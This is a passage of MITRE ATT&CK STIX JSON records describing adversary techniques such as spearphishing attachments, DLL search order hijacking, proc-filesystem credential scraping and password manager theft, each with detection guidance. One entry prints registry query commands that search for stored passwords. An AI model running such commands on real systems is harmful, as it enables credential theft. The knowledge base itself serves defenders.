Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["Administrator","root","SYSTEM"]},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Philip Winther"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","type":"attack-pattern","created":"2020-03-02T19:05:18.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1566.001","url":"https://attack.mitre.org/techniques/T1566/001"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"},{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."},{"source_name":"Elastic - Koadiac Detection with EQL","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."}],"modified":"2021-10-18T17:39:12.452Z","name":"Spearphishing Attachment","description":"Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_is_subtechnique":true,"x_mitre_version":"2.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Application Log: Application Log Content","File: File Creation","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sudhanshu Chauhan, @Sudhanshu_C"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1214","url":"https://attack.mitre.org/techniques/T1214"},{"url":"https://pentestlab.blog/2017/04/19/stored-credentials/","description":"netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.","source_name":"Pentestlab Stored Credentials"}],"modified":"2020-02-04T12:59:37.464Z","name":"Credentials in Registry","description":"The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","type":"attack-pattern","created":"2020-02-12T14:09:53.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1559.001","url":"https://attack.mitre.org/techniques/T1559/001"},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","source_name":"Microsoft COM"},{"url":"https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html","description":"Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.","source_name":"ProjectZero File Write EoP Apr 2018"},{"url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017"},{"url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","source_name":"Enigma MMC20 COM Jan 2017"}],"modified":"2021-07-26T22:51:20.448Z","name":"Component Object Model","description":"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Script: Script Execution","Process: Process Creation"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","type":"attack-pattern","created":"2020-03-13T18:11:08.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.001","url":"https://attack.mitre.org/techniques/T1574/001"},{"external_id":"CAPEC-471","source_name":"capec","url":"https://capec.mitre.org/data/definitions/471.html"},{"source_name":"Microsoft Dynamic Link Library Search Order","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN","description":"Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."},{"source_name":"FireEye Hijacking July 2010","url":"https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html","description":"Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020."},{"source_name":"OWASP Binary Planting","description":"OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.","url":"https://www.owasp.org/index.php/Binary_planting"},{"source_name":"FireEye fxsst June 2011","url":"https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html","description":"Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020."},{"source_name":"Microsoft Security Advisory 2269637","url":"https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637","description":"Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020."},{"source_name":"Microsoft Dynamic-Link Library Redirection","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN","description":"Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020."},{"source_name":"Microsoft Manifests","description":"Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.","url":"https://msdn.microsoft.com/en-US/library/aa375365"},{"source_name":"FireEye DLL Search Order Hijacking","url":"https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html","description":"Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020."}],"modified":"2021-04-26T18:37:03.748Z","name":"DLL Search Order Hijacking","description":"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","File: File Modification","Module: Module Load"]},{"x_mitre_platforms":["Linux","macOS","Windows","IaaS","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","created":"2017-05-31T21:31:27.985Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1119","url":"https://attack.mitre.org/techniques/T1119"}],"x_mitre_deprecated":false,"revoked":false,"description":"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.","modified":"2022-04-11T18:40:24.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Automated Collection","x_mitre_detection":"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Script: Script Execution","File: File Access","Command: Command Execution"],"x_mitre_system_requirements":["Permissions to access directories, files, and API endpoints that store information of interest."],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","type":"attack-pattern","created":"2017-05-31T21:31:25.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1115","url":"https://attack.mitre.org/techniques/T1115"},{"external_id":"CAPEC-637","source_name":"capec","url":"https://capec.mitre.org/data/definitions/637.html"},{"url":"https://msdn.microsoft.com/en-us/library/ms649012","description":"Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.","source_name":"MSDN Clipboard"},{"url":"https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363","description":"rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.","source_name":"Operating with EmPyre"}],"modified":"2020-04-23T18:35:58.230Z","name":"Clipboard Data","description":"Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution"]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","type":"attack-pattern","created":"2020-02-11T18:46:24.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.007","url":"https://attack.mitre.org/techniques/T1003/007"},{"url":"https://github.com/huntergregal/mimipenguin","description":"Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.","source_name":"MimiPenguin GitHub May 2017"}],"modified":"2020-03-19T15:32:18.098Z","name":"Proc Filesystem","description":"Adversaries may gather credentials from information stored in the Proc filesystem or <code>/proc</code>. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/\\*/maps</code>, where the <code>\\*</code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074","type":"attack-pattern","created":"2020-10-01T00:49:05.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.005","url":"https://attack.mitre.org/techniques/T1583/005"},{"source_name":"Norton Botnet","url":"https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html","description":"Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."},{"source_name":"Imperva DDoS for Hire","url":"https://www.imperva.com/learn/ddos/booters-stressers-ddosers/","description":"Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."},{"source_name":"Krebs-Anna","description":"Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.","url":"https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"},{"source_name":"Krebs-Bazaar","description":"Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.","url":"https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"},{"source_name":"Krebs-Booter","description":"Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.","url":"https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"}],"modified":"2021-04-15T02:49:14.664Z","name":"Botnet","description":"Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Burrough, @mattburrough, Microsoft"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","type":"attack-pattern","created":"2021-01-22T16:08:40.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1555.005","url":"https://attack.mitre.org/techniques/T1555/005"},{"source_name":"ise Password Manager February 2019","url":"https://www.ise.io/casestudies/password-manager-hacking/","description":"ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021."},{"source_name":"FoxIT Wocao December 2019","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020."},{"source_name":"Github KeeThief","url":"https://github.com/GhostPack/KeeThief","description":"Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021."},{"source_name":"NVD CVE-2019-3610","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-3610","description":"National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021."},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2022-03-25T13:18:55.310Z","name":"Password Managers","description":"Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Access","Process: OS API Execution","File: File Access"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41","type":"attack-pattern","created":"2017-05-31T21:31:15.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1103","url":"https://attack.mitre.org/techniques/T1103"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://support.microsoft.com/en-us/kb/197571","description":"Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.","source_name":"AppInit Registry"},{"url":"https://msdn.microsoft.com/en-us/library/dn280412","description":"Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.","source_name":"AppInit Secure Boot"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-11-10T18:29:30.379Z","name":"AppInit DLLs","description":"Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["Secure boot disabled on systems running Windows 8 and 